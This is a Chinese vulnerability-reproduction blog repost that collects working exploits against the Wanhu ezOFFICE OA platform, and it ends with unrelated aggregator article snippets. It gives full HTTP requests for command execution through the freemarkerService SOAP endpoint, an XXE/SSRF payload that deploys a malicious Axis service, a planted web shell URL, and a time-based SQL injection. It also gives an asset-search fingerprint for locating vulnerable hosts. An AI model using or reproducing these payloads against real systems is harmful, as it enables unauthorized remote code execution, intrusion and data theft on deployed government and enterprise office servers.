漏洞复现-万户ezOFFICE系列

news2024/11/23 11:36:02

在这里插入图片描述

万户

  • 安全情报,万户ezOFFICE协同管理平台SendFileCheckTemplateEdit-SQL注入漏洞
    • 万户OA DocumentEdit_unite.jsp 存在sql注入
  • 万户协同办公平台 ezoffice 未授权访问
    • RCE
      • xml代码注入 XXE
  • 🔪freemarkerService XXE
  • 🔪GeneralWeb-xxe
  • officeserverservlet + attachmentserver RCE
  • showResultSQL注入
  • 🔪DocumentEdit.jsp
  • wanhuoa-DocumentEdit-sqli.yaml
  • check_onlyfield.jsp
  • 🔪com文件上传
  • 🔪 axis
  • officeserverservlet
  • defaultroot/UploadServlet
  • 🔪OfficeServer_upload
  • 🔪fileUpload.controller
  • smartUpload.jsp
  • 文件读取下载 download_old.jsp
  • 🔪download_ftp.jsp
  • downloadhttp.jsp
  • 🔪DownloadServlet
  • OfficeServer_view
  • 🔪evoInterfaceServlet未授权

在这里插入图片描述

万户软件网络是业内普遍认可的智慧政务办公专家,OA系统国家行业标准编制组长单位,协同软件国家行业标准编制组长单位,22年专注协同管理领域.为您提供定制化的智慧政务一体化办公解决方案。


万户ezOFFICE企业版解决方案由五大应用、两个支撑平台组成,分别为知识管理、工作流程、沟通交流、辅助办公、集成解决方案及应用支撑平台、基础支撑平台。
  知识管理:搭建企业知识库,为知识的沉淀、共享、学习、应用、创新提供了基础;
  工作流程:打造企业内部电子化流程管理,是协助企业制度落地的有效管理工具;
  沟通交流:搭建了员工与员工、上级与下级单位之间的沟通桥梁,提升了企业的快速应变能力;
  辅助办公:提供了个人事务管理、行政后勤管理及人事管理,有效组织和管理企业的员工,以及他们的工作;
  集成解决方案:可集成VPN、电子签章、CA认证、财务系统、HR系统、CRM系统、ERP软件、外部邮件等功能;
  应用支撑平台:提供组织机构、用户、角色、权限管理体系及日志与系统安全体系,并设计有丰富的第三方系统接口;
  基础支撑平台:系统可运行在windows、linux、unix、AIX、solaris等多种操作系统上、支持IBM websphere、ORACLE weblogic、tomcat等、支持oracle、sqlserver、DB2、mysql、sybase等多种关系型数据库。

万户OA

[+]万户协同办公平台 ezoffice存在未授权访问漏洞

|wanhu|ezOFFICE|OA|SendFileCheckTemplateEdit|sqli|

wanhu_office|app=“万户ezOFFICE协同管理平台”

万户ezEIP

安全情报,万户ezOFFICE协同管理平台SendFileCheckTemplateEdit-SQL注入漏洞

https://mp.weixin.qq.com/s/KHLtRG9_a6C28-ojKDh-Zw

万户OA DocumentEdit_unite.jsp 存在sql注入

北京万户软件技术有限公司存在sql注入

万户协同办公平台 ezoffice 未授权访问

在这里插入图片描述

RCE

https://mp.weixin.qq.com/s/pFRB6xDLDkeNRNydOlb0fw

xml代码注入 XXE

漏洞名称:万户OA xml代码注入漏洞
漏洞编号:无
漏洞等级:高
披漏时间:20236150x02 漏洞描述

XML注入漏洞是指攻击者能够向应用程序提交恶意构造的XML数据,导致应用程序解析XML时发生意外行为或执行恶意操作。这可能导致数据泄露、远程代码执行或其他安全问题。


影响版本

Wanhu OA null 





XML代码注入(XML injection)通常也被称为(XML External Entity vulnerabilities)。

XXE漏洞是一种攻击XML解析器的安全漏洞,攻击者可以通过构建恶意的XML文件来利用此漏洞。攻击者可以在恶意XML文件中定义外部实体,以便在XML解析过程中引用这些外部实体。然而,由于没有适当的限制和措施,这些外部实体可能会导致XML解析器执行未经授权的操作,从而导致敏感信息泄露或拒绝服务攻击等风险。

因此,当输入数据被解释为XML时,应该采取预防措施来避免XXE漏洞。例如,使用XML解析器的最新版本,并采用安全的配置;禁止或限制外部实体的定义和使用;使用白名单过滤器来验证输入数据,并确保只允许预期的标签和属性。





🔪freemarkerService XXE

在这里插入图片描述


POST /defaultroot/services/./././freemarkerService HTTP/1.1
Content-Type: text/xml;charset=UTF-8
SOAPAction: ""
Content-Length: 638
Host: x
Connection: close
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:109.0) Gecko/20100101
Firefox/110.0
Accept:
text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,*/*;
q=0.8
<soapenv:Envelope xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance"
xmlns:xsd="http://www.w3.org/2001/XMLSchema"
xmlns:soapenv="http://schemas.xmlsoap.org/soap/envelope/"
xmlns:util="http://utility.template.freemarker"
xmlns:soapenc="http://schemas.xmlsoap.org/soap/encoding/">
<soapenv:Header/>
<soapenv:Body>
<util:exec
soapenv:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/">
<arguments xsi:type="xst:ArrayOf_xsd_anyType"
soapenc:arrayType="xsd:anyType[]">
<cmd xsi:type="soapenc:string"> whoami </cmd>
</arguments>
</util:exec>
</soapenv:Body>
</soapenv:Envelope>
    


在这里插入图片描述
在这里插入图片描述

🔪GeneralWeb-xxe

在这里插入图片描述


POST /defaultroot/xfservices/././././GeneralWeb;1.js HTTP/1.1
Host: x
Content-Type: text/xml;charset=UTF-8
User-Agent: Mozilla/5.0 (Linux; U; Android 2.3.6; en-us; Nexus S Build/GRK39F) AppleWebKit/533.1 (KHTML, like Gecko) Version/4.0 Mobile Safari/533.1
Accept-Encoding: gzip, deflate
SOAPAction: 
Cache-Control: no-cache
Pragma: no-cache
Connection: close

<soapenv:Envelope xmlns:soapenv="http://schemas.xmlsoap.org/soap/envelope/" xmlns:gen="http://com.whir.service/GeneralWeb">
    <soapenv:Header/>
    <soapenv:Body>
        <gen:OAManager>
            <gen:input>&lt;?xml version="1.0" encoding="UTF-8"?&gt;
&lt;!DOCTYPE root [
&lt;!ENTITY x SYSTEM "http://127.0.0.1:5001/defaultroot/services/./././AdminService?method=!--%3E%3Cns1%3Adeployment%20xmlns%3D%22http%3A%2F%2Fxml.apache.org%2Faxis%2Fwsdd%2F%22%20xmlns%3Ajava%3D%22http%3A%2F%2Fxml.apache.org%2Faxis%2Fwsdd%2Fproviders%2Fjava%22%20xmlns%3Ans1%3D%22http%3A%2F%2Fxml.apache.org%2Faxis%2Fwsdd%2F%22%3E%3Cns1%3Aservice%20name%3D%22freemarkerService%22%20provider%3D%22java%3ARPC%22%3E%3Cns1%3Aparameter%20name%3D%22className%22%20value%3D%22freemarker.template.utility.Execute%22%2F%3E%3Cns1%3Aparameter%20name%3D%22allowedMethods%22%20value%3D%22exec%22%2F%3E%3C%2Fns1%3Aservice%3E%3C%2Fns1%3Adeployment&quot;&gt;%remote;]&gt;
&lt;root&gt;&amp;x;&lt;/root&gt;</gen:input>
        </gen:OAManager>
    </soapenv:Body>
</soapenv:Envelope>

在这里插入图片描述

officeserverservlet + attachmentserver RCE

/defaultroot/upload/html/osias.jsp?i=whoami&pwd=osias

showResultSQL注入

🔪DocumentEdit.jsp

在这里插入图片描述
在这里插入图片描述

wanhuoa-DocumentEdit-sqli.yaml


0x01、漏洞描述
万户OA DocumentEdit.jsp文件存在SQL注入漏洞,攻击者通过发送特殊的请求包可以对数据库进行SQL注入,获取服务器敏感信息;


漏洞影响:

万户OA
网络测绘:

app="万户网络-ezOFFICE"


GET /defaultroot/public/iWebOfficeSign/DocumentEdit_deal.jsp;?RecordID=1%27%20WAITFOR%20DELAY%20%270:0:1%27-- HTTP/1.1
Host: 127.0.0.1
User-Agent: Moziilla/5.0 (Macintosh; Intel Mac OS X 10_14_3) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/12.0.3 Safari/605.1.15
Connection: close
Accept-Encoding: gzip, deflate, br







如下的POC进行验证,当系统响应时间超过5秒时,即可证明漏洞存在;

本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若转载,请注明出处:http://www.coloradmin.cn/o/1512739.html

如若内容造成侵权/违法违规/事实不符,请联系多彩编程网进行投诉反馈,一经查实,立即删除!

相关文章

前端实现 查询包含分页 以及封装table表格 上手即用!

表格组件是 element plus 中的table 又经过了一层封装 封装的table代码在最底下 <div class"box2"><el-radio-group v-model"radio" style"margin-bottom: 16px"><el-radio-button label"1">类型1</el-radio…

2024/3/11打卡分巧克力(第8届蓝桥杯省赛)——二分

题目 儿童节那天有 K 位小朋友到小明家做客。 小明拿出了珍藏的巧克力招待小朋友们。 小明一共有 N 块巧克力&#xff0c;其中第 i 块是 HiWi 的方格组成的长方形。 为了公平起见&#xff0c;小明需要从这 N 块巧克力中切出 K 块巧克力分给小朋友们。 切出的巧克力需要满足&…

亚马逊热卖SN-48B压线钳 2.8/4.8/6.3 300PCS插簧端子压接工具

品牌&#xff1a;SANJIANG 型号&#xff1a;SN-48B(橙色手柄)300PCS 颜色分类&#xff1a;SN-48B(橙色手柄),SN-48B(红蓝双色手柄),300PCS插簧端子,SN-48B(橙色手柄)300PCS,SN-48B(红蓝双色手柄)300PCS SN-48B 300PCS 0.5mm的电线尺寸应与0.5mm的连接器匹配&#xff0c;然后…

软考高级:统一过程阶段和工作流概念和例题

作者&#xff1a;明明如月学长&#xff0c; CSDN 博客专家&#xff0c;大厂高级 Java 工程师&#xff0c;《性能优化方法论》作者、《解锁大厂思维&#xff1a;剖析《阿里巴巴Java开发手册》》、《再学经典&#xff1a;《Effective Java》独家解析》专栏作者。 热门文章推荐&am…

使用Python的zipfile模块巧解Word批量生成问题

目录 一、zipfile模块简介 二、Word文档的结构 三、使用zipfile模块生成Word文档 创建ZIP文件 添加文件到ZIP中 生成Word文档内容 批量生成Word文档 四、案例与代码实现 五、总结 在日常办公和自动化任务中&#xff0c;批量生成Word文档是一个常见的需求。然而&am…

算法练习-牛牛的快递(思路+流程图+代码)

难度参考 难度&#xff1a;简单 分类&#xff1a;分支控制 难度与分类参考题目来源网站。 题目 链接&#xff1a;牛牛的快递__牛客网 (nowcoder.com) 来源&#xff1a;牛牛的快递__牛客网 (nowcoder.com) 牛牛正在寄快递&#xff0c;他了解到快递在 1kg 以内的按起步价…

vue上传文件夹+上传文件vue-simple-uploader

vue上传文件夹上传文件vue-simple-uploader 使用插件 在main.js引入 import uploader from vue-simple-uploaderVue.use(uploader);<el-dialog title"上传文件" :visible.sync"dialogFileVisible" width"50%" :before-close"handleFil…

《安富莱嵌入式周报》第334期:开源SEM扫描电子显微镜,自制编辑器并搭建嵌入式环境,免费产品设计审查服务,实用电子技术入门,USB资料汇总,UDS统一诊断

周报汇总地址&#xff1a;嵌入式周报 - uCOS & uCGUI & emWin & embOS & TouchGFX & ThreadX - 硬汉嵌入式论坛 - Powered by Discuz! 视频版&#xff1a; https://www.bilibili.com/video/BV1om411Z714/ 《安富莱嵌入式周报》第334期&#xff1a;开源SEM…

Primavera P6 – 从资源池中分配专属项目资源

前言 在使用P6的资源分配功能中&#xff0c;尝试使用 Primavera P6 的搜索功能来解决此问题仍然会导致每次尝试向活动添加资源时都会搜索单个资源。 这很费力&#xff0c;并不能节省太多的时间和精力。 这个简单、省时的技巧为使用 Primavera P6 的项目管理从业者提供了解决此…

前端之用HTML弄一个古诗词

将进酒 <!DOCTYPE html> <html lang"en"> <head><meta charset"UTF-8"><title>将进酒</title><h1><big>将进酒</big> 君不见黄河之水天上来</h1><table><tr><td ><img…

记一次特殊的渗透经历

起因 搞安全的小伙伴们应该知道&#xff0c;干我们这行老是会碰到一些奇奇怪怪的问题和需求&#xff0c;比如上次&#xff0c;某客户领导说让我给他找个会渗透的小伙子来&#xff0c;有个比较棘手的业务。我一听&#xff0c;心想&#xff1a;好嘛&#xff0c;这私活不就来了嘛…

python语音处理常见开源库介绍

在 Python 中&#xff0c;有几个著名的开源语音处理库&#xff0c;它们提供了丰富的工具和功能&#xff0c;用于处理和分析语音数据。以下是几个流行的 Python 语音处理库及其安装方法、特点和优势&#xff1a; 1. librosa 安装 pip install librosa特点 - **音频处理*…

【图像超分】论文精读:efficient sub-pixel convolutional neural network (ESPCN)

文章目录 前言Abstract1.Introduction1.1. Related Work1.2. Motivations and contributions 2. Method2.1. Deconvolution layer2.2. Efficient sub-pixel convolution layer 3. Experiments3.1. Datasets3.2. Implementation details3.3. Image super-resolution results3.3.…

羊大师揭秘,羊奶养生秘籍大公开

羊大师揭秘&#xff0c;羊奶养生秘籍大公开 羊奶&#xff0c;这个古老的营养佳品&#xff0c;近年来因其丰富的营养价值和独特的养生功效而受到越来越多人的青睐。今天&#xff0c;就让小编羊大师一起揭开羊奶养生的神秘面纱&#xff0c;让你每天都充满活力&#xff01; 一、…

elementui el-table表格自动循环滚动【超详细图解】

效果如图 1. 当表格内容超出时&#xff0c;自动滚动&#xff0c;滚动到最后一条之后在从头滚动。 2. 鼠标移入表格中&#xff0c;停止滚动&#xff1b;移出后&#xff0c;继续滚动。 直接贴代码 <template><div><div class"app-container"><e…

数据持久化(Json)

平常写代码的时候就应该习惯性的加【SerializeField】System.Serializable 如果是公有变量可以不加 泛型就要用<> JSon语法 之后Lua热更新的学习也会使用Sublime Text Excel转Json https://www.bejson.com/json/col2json 记得检查一下&#xff0c;得到的Json格式是否…

再写“罗马数字字符串转整”

输入有效的罗马数字字符串&#xff0c;返回对应的十进制整数(字符大小写均可)。 (笔记模板由python脚本于2024年03月12日 16:01:08创建&#xff0c;本篇笔记适合对罗马数字感兴趣且有一定编程基础的coder翻阅) 【学习的细节是欢悦的历程】 Python 官网&#xff1a;https://www.…

和泓海棠府——与阳光大海约会 悦享惬意生活

海南三亚海棠湾 四季如春的梦想在这里即可实现和泓海棠府 与阳光大海约会 悦享惬意生活 如果在三亚有一套房 你就可以把父母接过来一起住 尽己所能让老人圆一个海居梦 带着孩子一起在园林里探索自然 陪孩子度过每一个有趣的海边假期 你也可以随时沿着会唱歌的沙滩迎风漫…

爬虫技术必学之用强大的正则提取一切你想要的内容!JavaScript正则表达式提取网站高价值信息【附代码】!

前面给大家介绍过&#xff0c;本人既精通GIS开发全栈技术&#xff0c;也精通爬虫技术&#xff0c;对人工智能算法也比较熟悉。这些技术我会一一给大家讲解。 今天&#xff0c;咱们的主题是给大家通过一个案例讲解一下正则表达式的强大之处。当我们用爬虫获取网页的源码或内容时…

波司登:品牌引领 从中国第一迈向“全球领先”

专注羽绒服领域48年&#xff0c;波司登不断夯实品牌核心竞争力&#xff0c;推进新型工业化&#xff0c;培育新质生产力&#xff0c;扛起新时代企业责任担当—— 波司登&#xff1a;品牌引领 从中国第一迈向“全球领先” 入选工信部首批“工业图强”企业史志优秀案例&#xff0c…